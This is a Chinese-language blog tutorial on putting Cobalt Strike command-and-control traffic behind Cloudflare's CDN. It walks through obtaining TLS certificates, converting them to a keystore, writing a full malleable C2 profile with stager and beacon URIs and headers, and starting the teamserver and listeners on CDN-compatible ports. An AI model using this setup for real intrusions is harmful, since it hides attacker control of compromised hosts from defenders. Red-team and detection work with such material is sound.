← 返回首页

CobaltStrike CDN上线的折腾

CobaltStrike CDN上线的折腾

type: Post
status: Published
date: 2023/04/14
slug: CobaltStrike-CDN
category: 技术分享

0x1 使用nginx-certbot自动申请SSL证书

1.1 通过github拉取这个项目回来,项目内有docker-compose文件和配置模板文件

https://github.com/JonasAlfredsson/docker-nginx-certbot

2023-04-14-09-44-07-image.png

1.2 拉取回来后配置docker-compose.yml文件

Untitled

知识点:

1、nginx后面user_conf.d的ro代表为容器只有读取权限,没有修改权限

1.3 配置申请证书的域名信息

(1) 新建nginx文件夹并新建配置文件,域名的这个配置可以使用官方GitHub的模板进行配置就行

  145  2023-04-12 19:09:36 mkdir nginx
  146  2023-04-12 19:09:38 cd nginx/
  147  2023-04-12 19:09:38 ls -al
  148  2023-04-12 19:09:47 mkdir conf.d
  155  2023-04-12 19:12:33 vim zero.xxxxxx.cc.conf

分别新建nginx文件夹和conf.d文件夹,新建后在conf.d文件夹内新建域名的配置文件

Untitled

1.4 配置完成之后使用docker-compose拉取镜像并启动

docker-compose up -d

Untitled

使用docker-compose去拉取镜像并启动镜像,等待几分钟证书申请完成后将容器内存储证书的文件夹映射出来到磁盘外

ln -s /var/lib/docker/volumes/lb_letsencrypt/_data ./letsencrypt

证书文件保存在映射出来的letsencrypt下的live文件夹中

Untitled

证书文件说明:

privkey.pem : the private key for your certificate.
fullchain.pem: the certificate file used in most server software.
chain.pem : used for OCSP stapling in Nginx >=1.3.7.
cert.pem : will break many server configurations, and should not be used
 without reading further documentation (see link below).

0x2 配置cs的ssl证书

将整个证书文件夹copy到Cs的目录下,然后使用openssl将pem证书转为p12证书,然后使用keytool将p12证书再转换为keystore签名文件。

2.1 使用openssl将PEM证书文件转换为p12

Untitled

没有任何提示代表成功。

openssl pkcs12 -export -in cert.pem -inkey privkey.pem -out spoofdomain.p12 -name zero.xxxxxx.cc -passout pass:zero.xxxxxx.cc

2.2 使用keytool将p12转换为store签名文件

Untitled

这里使用的密码就是和上面导出的密码相同就行

keytool -importkeystore -deststorepass zero.xxxxxx.cc -destkeypass zero.xxxxxx.cc -destkeystore zero.store -srckeystore spoofdomain.p12 -srcstoretype PKCS12 -srcstorepass zero.xxxxxx.cc -alias zero.xxxxxx.cc

总结以下两条语句

#转换为p12格式
openssl pkcs12 -export -in server.pem -inkey server.key -out spoofdomain.p12 -name 域名 -passout pass:密码
例子:
openssl pkcs12 -export -in com.pem -inkey com.key -out spoofdomain.p12 -name [test.xxxxx.tk](http://test.xxxxx.tk/) -passout pass:zzz123456
#转换为store签名文件
keytool -importkeystore -deststorepass 密码 -destkeypass 密码 -destkeystore new.store -srckeystore spoofdomain.p12 -srcstoretype PKCS12 -srcstorepass 密码 -alias 域名
例子
keytool -importkeystore -deststorepass zzz123456 -destkeypass zzz123456 -destkeystore new.store -srckeystore spoofdomain.p12 -srcstoretype PKCS12 -srcstorepass zzz123456 -alias [test.xxxxx.tk](http://test.xxxxx.tk/)

2.3 配置cs的profile文件

(1) 配置详解

https-certificate 配置https证书,指向刚刚我们生成的证书文件地址就行

http-config 配置http请求的header头以及其他信息

http-stager 配置CS的shellcode请求路径与请求方法

http-get 配置get请求方法以及返回包信息

http-post 配置post请求方法以及返回包信息
https-certificate {
 set keystore "cfcert.store";
 set password "123456";
}
http-config {
 header "Content-Type" "application";
}
http-stager {
 set uri_x86 "/api/1";
 set uri_x64 "/api/2";
 client {
 header "zero.xxxxxx.cc";}
 server {
 output{
 print;
 }
 }
 }
http-get {
 set uri "/api/3";
 client {
 header "Host" "zero.xxxxxx.cc";
 metadata {
 base64;
 header "Cookie";
 }
 }
 server {
 output{
 print;
 }
 }
 }
http-post {
 set uri "/api/4";
 client {
 header "Host" "zero.xxxxxx.cc";
 id {
 uri-append;
 }
 output{
 print;
 }
 }
 server {
 output{
 print;
 }
 }
}

(2) 检查profile是否有问题

CS自带了一个profile的检查工具叫c2lint,在写完profile之后可以借助整个工具来对profile文件进行检查,如果检查发现有问题的会给出相应的提示,红色的问题必须要改,其他颜色的不影响正常使用,在检查的时候它会去模拟请求和返回

./c2lint zero.profile

Untitled

Untitled

像这种检查结果就代表没有问题,可以正常运行了

0x3 加载证书启动cs

3.1 修改Teamserver

修改默认端口以及修改证书路径,可以达到流量层加密效果

Untitled

3.2 加载profile启动teamserver

Untitled

./teamserver 10.0.0.0 password zero.profile

0x4 添加监听器

连接上cs之后添加监听器,这里用cloudflare的免费CDN,它支持端口如下

http:
80、8080、8880、2052、2082、2086、2095
https:
443、2053、2083、2087、2096、8443

所以我们在添加监听器的时候需要监听对应的端口才能够正常上线

Untitled

Untitled

正常上线,外网端口为我们CDN的端口,上线的请求也是我们在profile中配置的请求